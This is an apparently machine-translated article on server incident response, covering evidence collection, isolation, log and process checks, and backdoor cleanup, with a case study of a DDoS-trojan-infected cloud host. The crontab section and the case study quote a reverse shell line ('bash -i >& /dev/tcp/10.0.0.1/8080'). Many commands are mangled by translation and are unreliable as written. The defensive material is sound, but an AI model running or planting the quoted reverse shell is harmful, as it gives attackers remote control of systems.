Server Security Emergency Response process

Reference: https://mp.weixin.qq.com/s?__biz=MzI4NTA1MDEwNg==&mid=2650759483&idx=1&sn= c98277d4f9eb252409a177756b222b8a&chksm= F3f9d4aec48e5db85e07e998cc7052eeac3165f549e4f43dc0fa0789c3d3da006dac3c4135bb&scene=0#rd

1. Server Security Emergency Response process

The server security emergency response process is divided into 8 areas: Discovery Security Incident (verification), field protection, server protection, Impact range assessment, on-line analysis, data backup, in-depth analysis, event report collation. Next we will break down each link to see how to disconnect the abnormal connection, to troubleshoot the source of the intrusion, to avoid the second invasion and so on.

I. Verification of information (Operations/security personnel)

Depending on the security event notification source, there are two types:

1. Outside notification: Check with the reporter to verify that the server/system is compromised. Now many enterprises have their own SRC (Security Response Center), before this is more dependent on a cloud. In this case the verification of the intrusion is generally done by the security engineer.

2. Self-discovery: According to the server anomaly or fault judgment, such as sending large-scale traffic or system load abnormally high, this situation is generally found and verified by operations engineers.

Ii. on-site protection (operation and maintenance)

Many of us have seen the mainland TV series, "Serious case six," every time a criminal case, Interpol first time is to block the scene, the preservation of the original site. Similarly, security incidents occur at the scene, as in the case of criminal cases, the need to save the first site important information to facilitate the subsequent intrusion detection and forensics.

1. Save the site environment ()

The relevant information collection commands are as follows:

Process information: PS Axu

Network information: Netstat–a

Network + process: lsof/netstat-p

2. Attacker login status ()

The relevant information collection commands are as follows:

View current logged on User: W or who-a

Third, server protection (operation/maintenance/room)

On-site protection and server protection are two different links. The former focuses on forensics and the latter on environmental isolation.

After verifying that the machine has been invaded, the machine should be protected as soon as possible to avoid being invaded two times or to enlarge the attack surface as a springboard.

At this point, in order to protect the server and business, to avoid the server by attackers continue to use, should move the business as soon as possible, immediately offline machine.

If it cannot be processed immediately, the two-way connection to the network should be blocked by configuring a network ACL.

Iv. Impact Scope Assessment (Operations/development)

generally operations or procedures to confirm the scope of the impact, need to operations through the log or monitoring chart to confirm whether the database or sensitive files leaked, if the code or the database is compromised, the program needs to evaluate the harm and disposal methods.

Impact access assessment generally starts with the following points:

• Specific business structure: web (Php/java, webserver), proxy, DB and so on.

• IP and regional topology, etc.: in-VLAN server and application situation;

• Determine access between servers under the same network: You can log in with each other, or if you need a key or a password.

This determines the scope of the inspection and confirms all affected network segments and machines.

V. Online analysis (security personnel/operations)

at this time need to be based on personal experience on-line analysis, usually security personnel and operations on-line processing, but will involve the problem of multi-person collaboration, need to avoid many people operating the machine when the destruction of the server site, causing analysis, the author encountered a similar problem, Is the operation of the troubleshooting when the wrong iptables command, will Iptables-l knocked into the iptables-i cause iptables-save abnormal records, the results of security personnel to check on the record was confused, resulting in a certain interference in the processing ideas.

1. All user history log detection

• Keywords: wget/curl, gcc, or hidden files, sensitive file suffixes (. c,.py,conf,. PL,. sh);

• Check if there are any abnormal users;

• Check the recently added users, whether there is an unknown user or non-standard right to raise;

• Identify the user with root privileges;

You can perform the following command checks:

$ grep-v-E "^#"/etc/passwd | Awk-f: ' $ = = 0 {print $} '

Anti-connected Trojan judge

• Netstat-a;

• Pay attention to the non-normal port of the external network IP;

3. Suspicious process judgment

• Judging whether it is a Trojan Ps-aux

• Focus on files (hidden files), Python scripts, Perl scripts, shell scripts (bash/sh/zsh);

• Use Which,whereis,find to set

4. Crontab Detection

Do not use Crontab-l to view crontab (bypass detection), but also through the write Crontab profile rebound shell, the author contacted several times, is generally used bash-i >&/dev/tcp/10.0.0.1/8080 0> &1

5. System Log Detection

• Check the SSHD service profile/etc/ssh/sshd_config and system authentication log auth, message, determine whether it is password cracking attack;

• /etc/ssh/sshd_config file confirmation authentication method;

• Verify that the log is deleted or cleaned up (size judgment);

• LAST/LASTB can be used as an aid, but may not be accurate;

6. Nhids normal operation judgment

• Whether to install: ls/etc/ossec

• is working properly: PS Axu | grep nhids three nhids processes indicate normal

7. Other attack analysis

Capturing network packets and analyzing them to determine if they are denial of service attacks, it is important to note that you must use the-w parameter so that you can save it into the PCAP format and import it into Wireshark.

$ tcpdump-w Tcpdump.log

VI. security-related key files and data backup (OPS)

Can be synchronized, use Sftp/rsync and so on to upload logs to a secure server.

1. Packaging system Logs

   Reference: $ TAR-JCVF Syslog.tar.bz2/var/log

2. Package Web log: Access log

3. Package history log (all users), refer to:

   $ cp/home/user/.history User_history

4. Packaging Crontab Records

5. Package password file:/etc/passwd,/etc/shadow

6. Package suspicious files, backdoor, shell information

Vii. in-depth analysis (security personnel )

After initial locking of the exception process and malicious code, the scope of the affected area is clear, blocking the intruder's control of the machine, the next need to dig into the cause of the intrusion. Generally can be from Webshell, open port services and other directions.

1. Webshell invasion

• Using the webshell_check.py script to detect the Web directory;

  $ python webshell_check.py/var/www/>result.txt

• Find all nobody files in the Web directory, Manual analysis:

  $ find/var/www-user Nobody > Nobody.txt

• If you can determine the intrusion time, you can use Find to find files that have changed in the most recent time period;

  $ find/-type f-name "\.? * "|xargs ls-l |grep" Mar 22 "

  $ Find/-ctime/-mtime 8

2. Using Web vulnerabilities to directly reverse the shell

Analysis Access.log

• Reduced log Range: Time, exception IP extraction

• Attack behavior extraction: Common attack exp recognition

3. System Weak password intrusion

Certification related log auth/syslog/message troubleshooting:

• Location of blasting behavior and IP extraction;

• Whether the blasting has been successfully determined: there is a blasting behavior IP whether there is an accept record.

If the log has been cleaned, use the tool (e.g. John the Ripper) to blast the/etc/passwd,/etc/shadow.

4. Other intrusion

Other server springboard to this machine.

5. Follow-up Behavior analysis

• History log: Right to raise, add back door, and whether to be cleaned up.

• Sniffer: Network card promiscuous mode detection ifconfig |grep–i proc

• Intranet Scan: Network nmap/scanner, SOCKS5 agent

• Determine if there is a rootkit:rkhunter, Chkrootkit, Ps/netstat replacement Confirmation

6, back door cleaning and troubleshooting

• Correlate analysis by point in time: Find all the files for that time period;

• Some tips:/tmp directory, Ls–la, view all files, note hidden files;

• According to the user to do time association: such as nobody;

7. Related operation of other machines

The other machine and the machine's network connection (log view), the same business situation (same business, load balancer).

Viii. organizing incident reports (security personnel)

Event reports should include, but are not limited to, the following points:

• Analyze the cause of the event: why the event occurred;

• Analyze the entire attack process: point in time, operation;

• Analyze the event processing process: The whole event processing process summarizes whether there are deficiencies;

• Analyze event Prevention: how to avoid things happening again;

• Summary: Summarize the cause of the event, improve the process, prevent the recurrence of similar incidents.

Nine, the treatment of the more difficult things encountered

What if the log and operation records are all erased?

Strace look at the LOSF process, and then try to restore the log records, not the mirror drive data slowly check. This need to use some forensic tools, DD hard disk data to restore out.

The System account password has been modified, do not go in?

Reboot into single user mode to modify the root password, either through the control card operation, or directly restore the system. You can simply reload it.

The exception process was not found using common intrusion detection commands, but the machine was contracted out.

In this case, it is likely that the commonly used system command has been replaced by an attacker or Trojan horse program, can compare the MD5 value of the native binary file with the normal machine by md5sum, if the inconsistency is found, it must be replaced, can copy the command from other machine to the native replacement, or alias for other name To avoid replacing the malicious program again.

What about being Getshell?

• Before the bug fix, the system immediately offline, with intranet environment access.

• Upload point to the intranet access, do not allow the external network has a similar upload point, there is an upload point, and no verification file type is easy to upload webshell.

• If there are sensitive files and databases in the server being Getshell, please check if there is a leak.

• The corresponding host relationship in the hosts file needs to be reconfigured, and an attacker can configure hosts to access the test environment.

• Re-install the system.

Case analysis

Above said a lot of ideas of things, I believe we would like to see the actual case, the following two cases are described.

Let's start with someone else, the basic process is:

Through the external port scan to collect open port information, and then get to bounce shell information, landing machine found that key commands have been replaced, after reviewing the history record, the discovery of suspected Trojan files, through simple reverse and process to see the exception process, thus locking the intrusion cause. Specific content can be viewed: http://www.freebuf.com/articles/system/50728.html

Another one I have actually dealt with, the basic processing process with the above mentioned ideas are similar.

The whole thing has been handled roughly as follows:

1, operations to find a private cloud host intermittent external transmission up to 800Mbps of traffic, affecting the same network segment of other machines.

2, the security personnel received notice, the first confirmed that the machine belongs to the standby machine, did not run the online business, so notify the operation of the ban iptables restricted access to the outside network.

3, operation and maintenance for security personnel to temporarily open the machine permissions, security personnel through history and PS found the intrusion record and abnormal process locked the external large-volume contract application, clean up the malicious process and remove malicious programs.

Malicious processes, such as the following, after the discovery of a network search is a DDoS trojan, but there is no clear idea of processing:

/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session/sbin/ddosclient runbyp4407/sbin/ddosclient RunByPM4673

During the process, the security personnel suspect that the system files were replaced:

By comparing the size of the machine with the PS, Netstat and other programs on the normal machine, it is found that the sensitive program has been replaced and the Mtime has been modified.

Normal machine

Du-sh/bin/ps

92k/bin/ps

Du-sh/bin/netstat

120k/bin/netstat

Hacked machine

Du-sh/bin/netstat

2.0m/bin/netstat

Du-sh/bin/ps

2.0m/bin/ps

Some commonly used binary files repair, found that the exception process was killed after the restart, so install antivirus software ClamAV and rootkit Hunter to perform a full scan, thus confirming all infected files, delete those files can be deleted and kill the abnormal process again, There are no more problems with rebooting.

4. Impact Scope Assessment

Since the machine is only a standby machine, there is no sensitive data on it, so the information leakage problem will not exist.

Scan the same network segment machine port open situation, to troubleshoot the invasion of the machine history has external scanning or intrusion behavior, for this also in the network segment of the machine to deploy another honeypot monitoring.

5, in-depth analysis of the cause of intrusion

Through the invasion of the machine running service, iptables State, confirm that the running Service supports remote command execution, and the machine iptables is empty causes the hacker to write to/etc/crontab "Bash-i >&/dev/tcp/10.0.0.1/ 8080 0>&1 "command mode for Shell bounce, thus invading the machine.

6, the verification repair, the machine offline reload

After the above repair operation, the monitoring did not find any more abnormalities, so the machine is re-installed.

7, complete the Security Incident processing report

After each security event processing, should be compiled into a report, whether it is the construction of knowledge base, or statistical analysis of security posture, are very necessary.

This time the main introduction of the server was invaded when the recommended set of processing ideas. In fact, the security protection and operation of the same idea, are to prevent, this time the audit or response is very difficult to avoid the occurrence of harm, we hope that through the safety awareness of education, the construction of security system, the problem can be eliminated in the emergence of intangible.

Server Security Emergency Response process